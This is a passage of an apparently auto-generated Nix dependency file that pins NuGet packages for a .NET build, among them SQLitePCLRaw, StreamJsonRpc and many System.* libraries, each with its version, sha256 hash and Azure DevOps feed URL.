"https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/sqlitepclraw.core/2.1.0/sqlitepclraw.core.2.1.0.nupkg"; }) + (fetchNuGet { pname = "SQLitePCLRaw.lib.e_sqlite3"; version = "2.1.0"; sha256 = "1ibkkz5dsac64nf7alsdsr8r1jm8j87vv6chsi3azkf5zv0rphsy"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/sqlitepclraw.lib.e_sqlite3/2.1.0/sqlitepclraw.lib.e_sqlite3.2.1.0.nupkg"; }) + (fetchNuGet { pname = "SQLitePCLRaw.provider.e_sqlite3"; version = "2.1.0"; sha256 = "1g7gi1kdil8iv67g42xbmfhr1l0pkz645gqnd8lfv3q24449shan"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/sqlitepclraw.provider.e_sqlite3/2.1.0/sqlitepclraw.provider.e_sqlite3.2.1.0.nupkg"; }) + (fetchNuGet { pname = "StreamJsonRpc"; version = "2.17.9"; sha256 = "03c9yl99rxw3by9xb7g3rf512p04qxqyxdqza7cis6k47l3fvklw"; url = "https://pkgs.dev.azure.com/azure-public/3ccf6661-f8ce-4e8a-bb2e-eff943ddd3c7/_packaging/491596af-6d2d-439e-80bb-1ebb3b54f9a8/nuget/v3/flat2/streamjsonrpc/2.17.9/streamjsonrpc.2.17.9.nupkg"; }) + (fetchNuGet { pname = "System.Buffers"; version = "4.5.1"; sha256 = "04kb1mdrlcixj9zh1xdi5as0k0qi8byr5mi3p3jcxx72qz93s2y3"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.buffers/4.5.1/system.buffers.4.5.1.nupkg"; }) + (fetchNuGet { pname = "System.CodeDom"; version = "7.0.0"; sha256 = "08a2k2v7kdx8wmzl4xcpfj749yy476ggqsy4cps4iyqqszgyv0zc"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.codedom/7.0.0/system.codedom.7.0.0.nupkg"; }) + (fetchNuGet { pname = "System.Collections"; version = "4.3.0"; sha256 = "19r4y64dqyrq6k4706dnyhhw7fs24kpp3awak7whzss39dakpxk9"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.collections/4.3.0/system.collections.4.3.0.nupkg"; }) + (fetchNuGet { pname = "System.Collections.Immutable"; version = "8.0.0"; sha256 = "0z53a42zjd59zdkszcm7pvij4ri5xbb8jly9hzaad9khlf69bcqp"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.collections.immutable/8.0.0/system.collections.immutable.8.0.0.nupkg"; }) + (fetchNuGet { pname = "System.CommandLine"; version = "2.0.0-beta4.23407.1"; sha256 = "1qsil8pmy3zwzn1hb7iyw2ic9fzdj1giqd5cz27mnb13x97mi9ck"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/516521bf-6417-457e-9a9c-0a4bdfde03e7/nuget/v3/flat2/system.commandline/2.0.0-beta4.23407.1/system.commandline.2.0.0-beta4.23407.1.nupkg"; }) + (fetchNuGet { pname = "System.ComponentModel.Composition"; version = "7.0.0"; sha256 = "1gkn56gclkn6qnsvaw5fzw6qb45pa7rffxph1gyqhq7ywvmm0nc3"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.componentmodel.composition/7.0.0/system.componentmodel.composition.7.0.0.nupkg"; }) + (fetchNuGet { pname = "System.Composition"; version = "7.0.0"; sha256 = "1aii681g7a4gv8fvgd6hbnbbwi6lpzfcnl3k0k8hqx4m7fxp2f32"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.composition/7.0.0/system.composition.7.0.0.nupkg"; }) + (fetchNuGet { pname = "System.Composition.AttributedModel"; version = "7.0.0"; sha256 = "1cxrp0sk5b2gihhkn503iz8fa99k860js2qyzjpsw9rn547pdkny"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.composition.attributedmodel/7.0.0/system.composition.attributedmodel.7.0.0.nupkg"; }) + (fetchNuGet { pname = "System.Composition.Convention"; version = "7.0.0"; sha256 = "1nbyn42xys0kv247jf45r748av6fp8kp27f1582lfhnj2n8290rp"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.composition.convention/7.0.0/system.composition.convention.7.0.0.nupkg"; }) + (fetchNuGet { pname = "System.Composition.Hosting"; version = "7.0.0"; sha256 = "0wqbjxgggskfn45ilvg86grqci3zx9xj34r5sradca4mqqc90n7f"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.composition.hosting/7.0.0/system.composition.hosting.7.0.0.nupkg"; }) + (fetchNuGet { pname = "System.Composition.Runtime"; version = "7.0.0"; sha256 = "1p9xpqzx42s8cdizv6nh15hcjvl2km0rwby66nfkj4cb472l339s"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.composition.runtime/7.0.0/system.composition.runtime.7.0.0.nupkg"; }) + (fetchNuGet { pname = "System.Composition.TypedParts"; version = "7.0.0"; sha256 = "0syz7y6wgnxxgjvfqgymn9mnaa5fjy1qp06qnsvh3agr9mvcv779"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.composition.typedparts/7.0.0/system.composition.typedparts.7.0.0.nupkg"; }) + (fetchNuGet { pname = "System.Configuration.ConfigurationManager"; version = "7.0.0"; sha256 = "149d9kmakzkbw69cip1ny0wjlgcvnhrr7vz5pavpsip36k2mw02a"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.configuration.configurationmanager/7.0.0/system.configuration.configurationmanager.7.0.0.nupkg"; }) + (fetchNuGet { pname = "System.Data.DataSetExtensions"; version = "4.5.0"; sha256 = "0gk9diqx388qjmbhljsx64b5i0p9cwcaibd4h7f8x901pz84x6ma"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.data.datasetextensions/4.5.0/system.data.datasetextensions.4.5.0.nupkg"; }) + (fetchNuGet { pname = "System.Diagnostics.Debug"; version = "4.3.0"; sha256 = "00yjlf19wjydyr6cfviaph3vsjzg3d5nvnya26i2fvfg53sknh3y"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.diagnostics.debug/4.3.0/system.diagnostics.debug.4.3.0.nupkg"; }) + (fetchNuGet { pname = "System.Diagnostics.DiagnosticSource"; version = "7.0.0"; sha256 = "1jxhvsh5mzdf0sgb4dfmbys1b12ylyr5pcfyj1map354fiq3qsgm"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.diagnostics.diagnosticsource/7.0.0/system.diagnostics.diagnosticsource.7.0.0.nupkg"; }) + (fetchNuGet { pname = "System.Diagnostics.DiagnosticSource"; version = "7.0.2"; sha256 = "1h97ikph775gya93qsjjaka87qcygbyh1064rh1hnfcnp5xv0ipi"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.diagnostics.diagnosticsource/7.0.2/system.diagnostics.diagnosticsource.7.0.2.nupkg"; }) + (fetchNuGet { pname = "System.Diagnostics.EventLog"; version = "7.0.0"; sha256 = "16p8z975dnzmncfifa9gw9n3k9ycpr2qvz7lglpghsvx0fava8k9"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.diagnostics.eventlog/7.0.0/system.diagnostics.eventlog.7.0.0.nupkg"; }) + (fetchNuGet { pname = "System.Diagnostics.PerformanceCounter"; version = "7.0.0"; sha256 = "1xg45w9gr7q539n2p0wighsrrl5ax55az8v2hpczm2pi0xd7ksdp"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.diagnostics.performancecounter/7.0.0/system.diagnostics.performancecounter.7.0.0.nupkg"; }) + (fetchNuGet { pname = "System.Diagnostics.Process"; version = "4.3.0"; sha256 = "0g4prsbkygq8m21naqmcp70f24a1ksyix3dihb1r1f71lpi3cfj7"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.diagnostics.process/4.3.0/system.diagnostics.process.4.3.0.nupkg"; }) + (fetchNuGet { pname = "System.Diagnostics.TraceSource"; version = "4.3.0"; sha256 = "1kyw4d7dpjczhw6634nrmg7yyyzq72k75x38y0l0nwhigdlp1766"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.diagnostics.tracesource/4.3.0/system.diagnostics.tracesource.4.3.0.nupkg"; }) + (fetchNuGet { pname = "System.Diagnostics.Tracing"; version = "4.3.0"; sha256 = "1m3bx6c2s958qligl67q7grkwfz3w53hpy7nc97mh6f7j5k168c4"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.diagnostics.tracing/4.3.0/system.diagnostics.tracing.4.3.0.nupkg"; }) + (fetchNuGet { pname = "System.Drawing.Common"; version = "7.0.0"; sha256 = "0jwyv5zjxzr4bm4vhmz394gsxqa02q6pxdqd2hwy1f116f0l30dp"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.drawing.common/7.0.0/system.drawing.common.7.0.0.nupkg"; }) + (fetchNuGet { pname = "System.Formats.Asn1"; version = "6.0.0"; sha256 = "1vvr7hs4qzjqb37r0w1mxq7xql2b17la63jwvmgv65s1hj00g8r9"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.formats.asn1/6.0.0/system.formats.asn1.6.0.0.nupkg"; }) + (fetchNuGet { pname = "System.Formats.Asn1"; version = "7.0.0"; sha256 = "1a14kgpqz4k7jhi7bs2gpgf67ym5wpj99203zxgwjypj7x47xhbq"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.formats.asn1/7.0.0/system.formats.asn1.7.0.0.nupkg"; }) + (fetchNuGet { pname = "System.Globalization"; version = "4.3.0"; sha256 = "1cp68vv683n6ic2zqh2s1fn4c2sd87g5hpp6l4d4nj4536jz98ki"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.globalization/4.3.0/system.globalization.4.3.0.nupkg"; }) + (fetchNuGet { pname = "System.IO"; version = "4.3.0"; sha256 = "05l9qdrzhm4s5dixmx68kxwif4l99ll5gqmh7rqgw554fx0agv5f"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.io/4.3.0/system.io.4.3.0.nupkg"; }) + (fetchNuGet { pname = "System.IO.FileSystem"; version = "4.3.0"; sha256 = "0z2dfrbra9i6y16mm9v1v6k47f0fm617vlb7s5iybjjsz6g1ilmw"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.io.filesystem/4.3.0/system.io.filesystem.4.3.0.nupkg"; }) + (fetchNuGet { pname = "System.IO.FileSystem.AccessControl"; version = "5.0.0"; sha256 = "0ixl68plva0fsj3byv76bai7vkin86s6wyzr8vcav3szl862blvk"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.io.filesystem.accesscontrol/5.0.0/system.io.filesystem.accesscontrol.5.0.0.nupkg"; }) + (fetchNuGet { pname = "System.IO.FileSystem.Primitives"; version = "4.3.0"; sha256 = "0j6ndgglcf4brg2lz4wzsh1av1gh8xrzdsn9f0yznskhqn1xzj9c"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.io.filesystem.primitives/4.3.0/system.io.filesystem.primitives.4.3.0.nupkg"; }) + (fetchNuGet { pname = "System.IO.Pipelines"; version = "7.0.0"; sha256 = "1ila2vgi1w435j7g2y7ykp2pdbh9c5a02vm85vql89az93b7qvav"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.io.pipelines/7.0.0/system.io.pipelines.7.0.0.nupkg"; }) + (fetchNuGet { pname = "System.IO.Pipes"; version = "4.3.0"; sha256 = "1ygv16gzpi9cnlzcqwijpv7055qc50ynwg3vw29vj1q3iha3h06r"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.io.pipes/4.3.0/system.io.pipes.4.3.0.nupkg"; }) + (fetchNuGet { pname = "System.Management"; version = "7.0.0"; sha256 = "1x3xwjzkmlcrj6rl6f2y8lkkp1s8xkhwqlpqk9ylpwqz7w3mhis0"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.management/7.0.0/system.management.7.0.0.nupkg"; }) + (fetchNuGet { pname = "System.Memory"; version = "4.5.5"; sha256 = "08jsfwimcarfzrhlyvjjid61j02irx6xsklf32rv57x2aaikvx0h"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.memory/4.5.5/system.memory.4.5.5.nupkg"; }) + (fetchNuGet { pname = "System.Net.NameResolution"; version = "4.3.0"; sha256 = "15r75pwc0rm3vvwsn8rvm2krf929mjfwliv0mpicjnii24470rkq"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.net.nameresolution/4.3.0/system.net.nameresolution.4.3.0.nupkg"; }) + (fetchNuGet { pname = "System.Net.Primitives"; version = "4.3.0"; sha256 = "0c87k50rmdgmxx7df2khd9qj7q35j9rzdmm2572cc55dygmdk3ii"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.net.primitives/4.3.0/system.net.primitives.4.3.0.nupkg"; }) + (fetchNuGet { pname = "System.Net.Sockets"; version = "4.3.0"; sha256 = "1ssa65k6chcgi6mfmzrznvqaxk8jp0gvl77xhf1hbzakjnpxspla"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.net.sockets/4.3.0/system.net.sockets.4.3.0.nupkg"; }) + (fetchNuGet { pname = "System.Numerics.Vectors"; version = "4.4.0"; sha256 = "0rdvma399070b0i46c4qq1h2yvjj3k013sqzkilz4bz5cwmx1rba"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.numerics.vectors/4.4.0/system.numerics.vectors.4.4.0.nupkg"; }) + (fetchNuGet { pname = "System.Numerics.Vectors"; version = "4.5.0"; sha256 = "1kzrj37yzawf1b19jq0253rcs8hsq1l2q8g69d7ipnhzb0h97m59"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.numerics.vectors/4.5.0/system.numerics.vectors.4.5.0.nupkg"; }) + (fetchNuGet { pname = "System.Private.Uri"; version = "4.3.2"; sha256 = "019s7jz73d236p23mnpfaxxwib019i0v1fbwbkys0hskgddvw7cc"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.private.uri/4.3.2/system.private.uri.4.3.2.nupkg"; }) + (fetchNuGet { pname = "System.Reflection"; version = "4.3.0"; sha256 = "0xl55k0mw8cd8ra6dxzh974nxif58s3k1rjv1vbd7gjbjr39j11m"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.reflection/4.3.0/system.reflection.4.3.0.nupkg"; }) + (fetchNuGet { pname = "System.Reflection.Emit"; version = "4.7.0"; sha256 = "121l1z2ypwg02yz84dy6gr82phpys0njk7yask3sihgy214w43qp"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.reflection.emit/4.7.0/system.reflection.emit.4.7.0.nupkg"; }) + (fetchNuGet { pname = "System.Reflection.Emit.ILGeneration"; version = "4.7.0"; sha256 = "0l8jpxhpgjlf1nkz5lvp61r4kfdbhr29qi8aapcxn3izd9wd0j8r"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.reflection.emit.ilgeneration/4.7.0/system.reflection.emit.ilgeneration.4.7.0.nupkg"; }) + (fetchNuGet { pname = "System.Reflection.Emit.Lightweight"; version = "4.7.0"; sha256 = "0mbjfajmafkca47zr8v36brvknzks5a7pgb49kfq2d188pyv6iap"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.reflection.emit.lightweight/4.7.0/system.reflection.emit.lightweight.4.7.0.nupkg"; }) + (fetchNuGet { pname = "System.Reflection.Metadata"; version = "8.0.0"; sha256 = "10a8vm0c3n5cili5nix6bdmiaxr69qisvk356pb81f2s8bgq40bm"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.reflection.metadata/8.0.0/system.reflection.metadata.8.0.0.nupkg"; }) + (fetchNuGet { pname = "System.Reflection.MetadataLoadContext"; version = "6.0.0"; sha256 = "1ijfiqpi3flp5g9amridhjjmzz6md1c6pnxx5h7pdbiqqx9rwrpk"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.reflection.metadataloadcontext/6.0.0/system.reflection.metadataloadcontext.6.0.0.nupkg"; }) + (fetchNuGet { pname = "System.Reflection.MetadataLoadContext"; version = "7.0.0"; sha256 = "0cmrvrmsf8hifcfyspmqmd4pv4h2g9yj87hf0fyl5pzma147m2am"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.reflection.metadataloadcontext/7.0.0/system.reflection.metadataloadcontext.7.0.0.nupkg"; }) + (fetchNuGet { pname = "System.Reflection.Primitives"; version = "4.3.0"; sha256 = "04xqa33bld78yv5r93a8n76shvc8wwcdgr1qvvjh959g3rc31276"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.reflection.primitives/4.3.0/system.reflection.primitives.4.3.0.nupkg"; }) + (fetchNuGet { pname = "System.Resources.Extensions"; version = "7.0.0"; sha256 = "0d5gk5g5qqkwa728jwx9yabgjvgywsy6k8r5vgqv2dmlvjrqflb4"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.resources.extensions/7.0.0/system.resources.extensions.7.0.0.nupkg"; }) + (fetchNuGet { pname = "System.Resources.ResourceManager"; version = "4.3.0"; sha256 = "0sjqlzsryb0mg4y4xzf35xi523s4is4hz9q4qgdvlvgivl7qxn49"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.resources.resourcemanager/4.3.0/system.resources.resourcemanager.4.3.0.nupkg"; }) + (fetchNuGet { pname = "System.Runtime"; version = "4.3.0"; sha256 = "066ixvgbf2c929kgknshcxqj6539ax7b9m570cp8n179cpfkapz7"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.runtime/4.3.0/system.runtime.4.3.0.nupkg"; }) + (fetchNuGet { pname = "System.Runtime.CompilerServices.Unsafe"; version = "6.0.0"; sha256 = "0qm741kh4rh57wky16sq4m0v05fxmkjjr87krycf5vp9f0zbahbc"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.runtime.compilerservices.unsafe/6.0.0/system.runtime.compilerservices.unsafe.6.0.0.nupkg"; }) + (fetchNuGet { pname = "System.Runtime.Extensions"; version = "4.3.0"; sha256 = "1ykp3dnhwvm48nap8q23893hagf665k0kn3cbgsqpwzbijdcgc60"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.runtime.extensions/4.3.0/system.runtime.extensions.4.3.0.nupkg"; }) + (fetchNuGet { pname = "System.Runtime.Handles"; version = "4.3.0"; sha256 = "0sw2gfj2xr7sw9qjn0j3l9yw07x73lcs97p8xfc9w1x9h5g5m7i8"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.runtime.handles/4.3.0/system.runtime.handles.4.3.0.nupkg"; }) + (fetchNuGet { pname = "System.Runtime.InteropServices"; version = "4.3.0"; sha256 = "00hywrn4g7hva1b2qri2s6rabzwgxnbpw9zfxmz28z09cpwwgh7j"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.runtime.interopservices/4.3.0/system.runtime.interopservices.4.3.0.nupkg"; }) + (fetchNuGet { pname = "System.Runtime.InteropServices.RuntimeInformation"; version = "4.3.0"; sha256 = "0q18r1sh4vn7bvqgd6dmqlw5v28flbpj349mkdish2vjyvmnb2ii"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.runtime.interopservices.runtimeinformation/4.3.0/system.runtime.interopservices.runtimeinformation.4.3.0.nupkg"; }) + (fetchNuGet { pname = "System.Runtime.Loader"; version = "4.3.0"; sha256 = "07fgipa93g1xxgf7193a6vw677mpzgr0z0cfswbvqqb364cva8dk"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.runtime.loader/4.3.0/system.runtime.loader.4.3.0.nupkg"; }) + (fetchNuGet { pname = "System.Security.AccessControl"; version = "5.0.0"; sha256 = "17n3lrrl6vahkqmhlpn3w20afgz09n7i6rv0r3qypngwi7wqdr5r"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.security.accesscontrol/5.0.0/system.security.accesscontrol.5.0.0.nupkg"; }) + (fetchNuGet { pname = "System.Security.AccessControl"; version = "6.0.0"; sha256 = "0a678bzj8yxxiffyzy60z2w1nczzpi8v97igr4ip3byd2q89dv58"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.security.accesscontrol/6.0.0/system.security.accesscontrol.6.0.0.nupkg"; }) + (fetchNuGet { pname = "System.Security.Cryptography.Pkcs"; version = "6.0.1"; sha256 = "0wswhbvm3gh06azg9k1zfvmhicpzlh7v71qzd4x5zwizq4khv7iq"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.security.cryptography.pkcs/6.0.1/system.security.cryptography.pkcs.6.0.1.nupkg"; }) + (fetchNuGet { pname = "System.Security.Cryptography.Pkcs"; version = "6.0.4"; sha256 = "0hh5h38pnxmlrnvs72f2hzzpz4b2caiiv6xf8y7fzdg84r3imvfr"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.security.cryptography.pkcs/6.0.4/system.security.cryptography.pkcs.6.0.4.nupkg"; }) + (fetchNuGet { pname = "System.Security.Cryptography.Pkcs"; version = "7.0.2"; sha256 = "0px6snb8gdb6mpwsqrhlpbkmjgd63h4yamqm2gvyf9rwibymjbm9"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.security.cryptography.pkcs/7.0.2/system.security.cryptography.pkcs.7.0.2.nupkg"; }) + (fetchNuGet { pname = "System.Security.Cryptography.ProtectedData"; version = "4.4.0"; sha256 = 